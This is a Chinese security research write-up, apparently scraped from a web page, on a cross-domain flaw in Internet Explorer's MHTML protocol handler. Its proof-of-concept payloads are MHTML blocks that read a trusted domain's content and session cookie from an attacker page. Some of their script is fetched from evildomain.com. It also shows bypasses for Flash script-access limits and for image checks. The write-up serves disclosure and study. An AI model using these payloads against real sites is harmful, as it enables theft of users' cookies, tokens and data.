<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            IE下MHTML協議帶來的跨域危害

            Author: 暗夜潛風
            Baidu hi: d4rkwind
            Email: mere#vip.qq.com
            Site: http://hi.baidu.com/d4rkwind/
            
            
            [目錄]
            
            0x00 背景
            0x01 MHTML
            0x02 跨域POC
            0x03 安全問題
            0x04 深入利用
            0x05 后話
            
            
            0x00 背景
            
                MHTML,即MIME HTML,是由RFC 2557定義的,把一個多附件(如圖片,flash動畫等)的
            網頁內容都保存到單一檔案的標準。這個標準由微軟提出,并從IE 5.0對其開始支持。
                
                同時,微軟實現了MHTML協議,默認安裝的window系統都帶有MHTML協議處理程序(MHTML 
            Protocol Handler)。在IE中,當嵌入資源的URL的協議為 MHTML 時,IE將調用MHTML Protocol 
            Handler,把該資源當作MHTML格式文件解析處理。
            
                MHTML Protocol Handler解析MHTML格式文件,其結果交給IE渲染,不可避免的將涉及跨
            域、腳本訪問權限等安全問題。在此過程中,IE一旦處理不當,則會產生跨域漏洞。
            
                基于上述的想法,我們對MHTML協議做了一系列跨域安全測試。
            
            
            0x01 MHTML
            
                根據RFC 2557等,MHTML文件格式舉例如下:
                注:與文件后綴名無關,且假設URL:http://trusteddomain.com/demo.html
            
            --code-------------------------------------------------------------------------    
            Content-Type: multipart/related; boundary="_boundary_by_mere"
            
            --_boundary_by_mere
            Content-Location:demo
            Content-Transfer-Encoding:base64
            
            PGh0bWw+PGJvZHk+TUhUTUwgREVNTyE8L2JvZHk+PC9odG1sPg==
            --_boundary_by_mere—
            -------------------------------------------------------------------------------
            
                IE下訪問MHTML:http://trusteddomain.com/demo.html!demo ,MHTML Protocol Handler
            根據Content-Location值找到對應的數據塊,再根據Content-Transfer-Encoding值對一下這段
            base64數據解碼:
            
            PGh0bWw+PGJvZHk+TUhUTUwgREVNTyE8L2JvZHk+PC9odG1sPg==
            
                最后IE解析內容為對應的“<html><body>MHTML DEMO!</body></html>”。(注:demo中IE
            吞掉末尾字符的情況不會影響本文結論。)
            
                同樣,我們構造URL: http://evildomain.com/mhtml.html,其html代碼為:
            
            --code------------------------------------------------------------------------- 
            <iframe src="MHTML:http://trusteddomain.com/demo.html!demo"></iframe>
            -------------------------------------------------------------------------------
            
                IE下訪問該http://evildomain.com/mhtml.html,效果類似。
                
            
            0x02 跨域POC
            
                由0x01知,IE正確讀取 MHTML:http://trusteddomain.com/demo.html!demo對應的HTML
            代碼并渲染。但若HTML源碼中包含腳本,其屬于什么域,有什么權限,符合同源策略么?
            
                經過測試,我們得到下面兩個POC(如需測試,請改host文件):
                
                POC 01:利用MHTML跨域ajax請求
                
                URL:http://trusteddomain.com/demo.html的代碼為:
            
            --code-------------------------------------------------------------------------  
            Content-Type: multipart/related; boundary="_boundary_by_mere"
            
            --_boundary_by_mere
            Content-Location:ajax
            Content-Transfer-Encoding:base64
            
            PGJvZHk+DQo8c2NyaXB0IHNyYz1odHRwOi8vZXZpbGRvbWFpbi5jb20veG1saHR0cC5qcz48L3NjcmlwdD4NCjxzY3JpcHQ+DQp2YXIgeG1sSHR0cCA9IGNyZWF0ZVhtbEh0dHBSZXF1ZXN0KCk7DQp2YXIgdXJsPSJodHRwOi8vdHJ1c3RlZGRvbWFpbi5jb20vIjsNCnhtbEh0dHAub3BlbigiZ2V0IiwgdXJsLCBmYWxzZSk7DQp4bWxIdHRwLnNlbmQobnVsbCk7DQphbGVydCgiVHJ1c3RlZGRvbWFpbi5jb20ncyBpbm5lckhUTUwgaXMgIit4bWxIdHRwLnJlc3BvbnNlVGV4dCk7DQo8L3NjcmlwdD4NCjwvYm9keT4NCg==
            --_boundary_by_mere--
            ------------------------------------------------------------------------------
            
                其中base64原文為:
            
            --code------------------------------------------------------------------------- 
            <body>
            <script src=http://evildomain.com/xmlhttp.js></script>
            <script>
            var xmlHttp = createXmlHttpRequest();
            var url="http://trusteddomain.com/";
            xmlHttp.open("get", url, false);
            xmlHttp.send(null);
            alert("Trusteddomain.com"s innerHTML is "+xmlHttp.responseText);
            </script>
            </body>
            -------------------------------------------------------------------------------
            
                其中http://evildomain.com/xmlhttp.js為創建XMLHttp對象的方法定義。
                
                URL: http://evildomain.com/mhtml.html,其html代碼為:
            
            --code------------------------------------------------------------------------- 
            <iframe src="MHTML:http://trusteddomain.com/demo.html!ajax"></iframe>
            -------------------------------------------------------------------------------
            
                IE訪問http://evildomain.com/mhtml.html,WinXP+IE8彈出了http://trusteddomain.com/
            域下的內容,即IE認為MHTML:http://trusteddomain.com/demo.html!ajax和http://trusteddomain.com/
            同源。Win7+IE8提示沒有權限,似乎做了安全限制,但通過下述方法,仍然可以繞過:
            
            --code-------------------------------------------------------------------------
            <iframe src="MHTML:http://trusteddomain.com/demo.html!ajax"></iframe>
            <script>
            setTimeout("window.location="http://evildomain.com/mhtml.html"",3000);
            //win 7 + ie8,如setTimeout("window.location.reload()",3000)等方法也可以
            </script>
            -------------------------------------------------------------------------------
            
                POC 02:利用MHTML獲取cookie
            
                URL:http://trusteddomain.com/demo.html的代碼為:
            
            --code-------------------------------------------------------------------------
            Content-Type: multipart/related; boundary="_boundary_by_mere"
            
            --_boundary_by_mere
            Content-Location:cookie
            Content-Transfer-Encoding:base64
            
            PGJvZHk+DQo8aWZyYW1lIGlkPWlmciBzcmM9Imh0dHA6Ly90cnVzdGVkZG9tYWluLmNvbS8iPjwvaWZyYW1lPg0KPHNjcmlwdD4NCmZ1bmN0aW9uIGNyb3NzY29va2llKCl7DQppZnIgPSBpZnIuY29udGVudFdpbmRvdyA/IGlmci5jb250ZW50V2luZG93IDogaWZyLmNvbnRlbnREb2N1bWVudDsNCmFsZXJ0KGlmci5kb2N1bWVudC5jb29raWUpDQp9DQpzZXRUaW1lb3V0KCJjcm9zc2Nvb2tpZSgpIiwxMDAwKTsNCjwvc2NyaXB0PjwvYm9keT4NCg==
            --_boundary_by_mere--
            -------------------------------------------------------------------------------
            
                其中base64原文為:
            
            --code-------------------------------------------------------------------------
            <body>
            <iframe id=ifr src="http://trusteddomain.com/"></iframe>
            <script>
            function crosscookie(){
            ifr = ifr.contentWindow ? ifr.contentWindow : ifr.contentDocument;
            alert(ifr.document.cookie)
            }
            setTimeout("crosscookie()",1000);
            </script></body>
            -------------------------------------------------------------------------------
            
                URL:http://evildomain.com/mhtml.html,其html代碼為:
                
            --code-------------------------------------------------------------------------    
            <iframe src="MHTML:http://trusteddomain.com/demo.html!cookie"></iframe>
            -------------------------------------------------------------------------------
            
                IE訪問http://evildomain.com/mhtml.html,彈出trusteddomain.com下的會話cookie。
                
            
            0x03 安全問題
            
                瀏覽器的同源策略,即同協議、同域名、同端口,其阻止了腳本讀取其他站點的內容。
            但由0x02,我們發現IE“認為”MHTML:http://trusteddomain.com/demo.html!cookie和
            http://trusteddomain.com滿足同源策略。此外,我們針對MHTML:ftp://做了類似測試,最
            終推測:MHTML協議場景,IE取mhtml協議后的協議,即http(ftp)與trusteddomain.com的
            http作同源驗證,而非MHTML:http與http。這就導致了IE下跨域漏洞的產生。
            
                那能否跨到本地域呢?
            
                經過我們的測試,我們發現“iframe src=mhtml:本地文件”這種方式,由于iframe本
            身的安全限制,mhtml無法通過其跨域獲得本地文件的內容,從而無法利用,但iframe是允
            許通過uac引入本地文件的,POC如下:(這里的file://127.0.0.1/c$/ajax.html 里的代碼
            不再貼出)
            
                URL:http://evildomain.com/mhtml.html,其html代碼為:
                
            --code-------------------------------------------------------------------------
            <iframe src="mhtml:file://127.0.0.1/c$/ajax.html!ajax"></iframe>
            -------------------------------------------------------------------------------
            
                根據下文0x04,尋找IE可控的本地可插文件,如index.dat,將成為攻擊關注的點,這
            里不多作敘述。
                
                除此之外,我們也發現,利用MHTML可以成功繞過flash的AllowScriptAccess=sameDomain
            和crossdomain.xml 的安全限制。下例中,http://trusteddomain.com/flash.html 允許用
            戶插入flash,但限制AllowScriptAccess為默認的sameDomain,且trusteddomain.com的
            crossdomain.xml中,設置allow-access-from domain 為trusteddomain.com。
            
                綜合的POC如下:(這里的http://trusteddomain.com/demo.html里的代碼不再貼出)
                
                URL:http://trusteddomain.com/flash.html,其html代碼為:
            
            --code-------------------------------------------------------------------------
            <embed 
            	type="application/x-shockwave-flash"
            	src="mhtml:http://trusteddomain.com/demo.html!demo.swf"
            	allowNetworking=all
            	AllowScriptAccess=samedomain
            	width=500
            	height=500>
            </embed>
            -------------------------------------------------------------------------------
            
                IE下訪問http://trusteddomain.com/flash.html,我們可控的“flash”文件demo.swf
            成功與trusteddomain.com進行交互和通訊。
            
                溯本求源,參考MSDN的文檔About Asynchronous Pluggable Protocols,我們發現,
            MHTML本身功能類似MIME sniff,解釋MIME內容后再交給IE去處理,即HTTP=》MHTML=》IE。
            但最終IE在處理內容時,因為在IE看來內容本質上來源HTTP,便認為其域為HTTP所在域。這
            本身看上去還真的無可厚非,但卻可被利用導致跨域。
            
            
            0x04 深入利用
            
                由0x01-0x03知,這個漏洞的利用需要攻擊者能控制一個被攻擊域trusteddomain.com下
            的某個頁面部分內容或某個文件,且需要按照MHTML格式插入攻擊代碼。根據我們的測試,
            我們同時發現MHTML Protocol Handler 對MHTML文件有如下“溫和”之處:
            
                1. MHTML Protocol Handler會忽略遠程文件后綴;
                2. MHTML Protocol Handler會忽略遠程文件中Content-Type前面的除“空行”外的所有內容,
            若有“空行”,則MHTML Protocol Handler不能解釋該文件;
                3. MHTML Protocol Handler會忽略遠程文件中“--_boundary_by_mere—”后的所有無關內容;
                4. MHTML Protocol Handler會忽略遠程服務器的Content-Disposition、X-Frame-Options等響應頭。
            
                因此,攻擊者只需在任意滿足以上條件的文件/頁面里,按照MHTML格式插入針對被攻擊
            域(trusteddomain.com)的跨域內容。比如,把包含惡意內容的文件上傳到trusteddomain.com
            域下,甚至只需在某些頁面發表MHTML格式的留言(mhtml string injection,可參考twitter 
            css string injection)。并且,即使服務端對這類附件添加Content-Disposition下載響
            應頭,也可以被利用。或者,即使服務端檢查圖片信息,也可以通過如cmd下copy /b 1.jpg 
            + 1.txt 2.jpg等方式把利用代碼附加到的圖片里繞過此類防御(見附件)。
            
                通過上述利用,trusteddomain.com用戶訪問了evildomain.com后,攻擊者可以輕易得
            到trusteddomain.com下用戶敏感內容(如token),獲取用戶數據,甚至獲取用戶在
            trusteddomain.com的cookie。
            
                如此,此漏洞將危害許多網站,尤其是只啟用單個域名的中小論壇,另外,即使是存在
            多個二級域名的站點,由于通常情況下,其統一身份認證所用的cookie都限制在trusteddomain.com
            下,也會該漏洞受影響。
            
            
            0x05 后話
            
                對IE MHTML協議跨域漏洞的測試和描述就寫到這里,在撰寫此文時,我們對相關歷史漏
            洞的搜索發現,歷來的mhtml相關被補的漏洞,或多或少其實都存在這個漏洞的影子。此外,
            在把本文投遞到webzine時,經過與黑哥交流得知 http://heideri.ch/jso/#98 或多或少提
            及到了本文的poc。
            
                由于在撰寫本文時,能夠參考的官方文檔較少,部分結論由測試的結果推測得出,感謝
            劍心、wofeiwo、黑哥對本文提出的建設性意見。且我們的測試環境主要以win7+ie8為主,
            以win xp+ie8/ie6 為輔,難免會有不足和錯誤,如果您發現有誤,或有其他疑問,歡迎與
            我討論,我的百度hi為:d4rkwind。
            
            附件下載
            
            -EOF-
            
            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线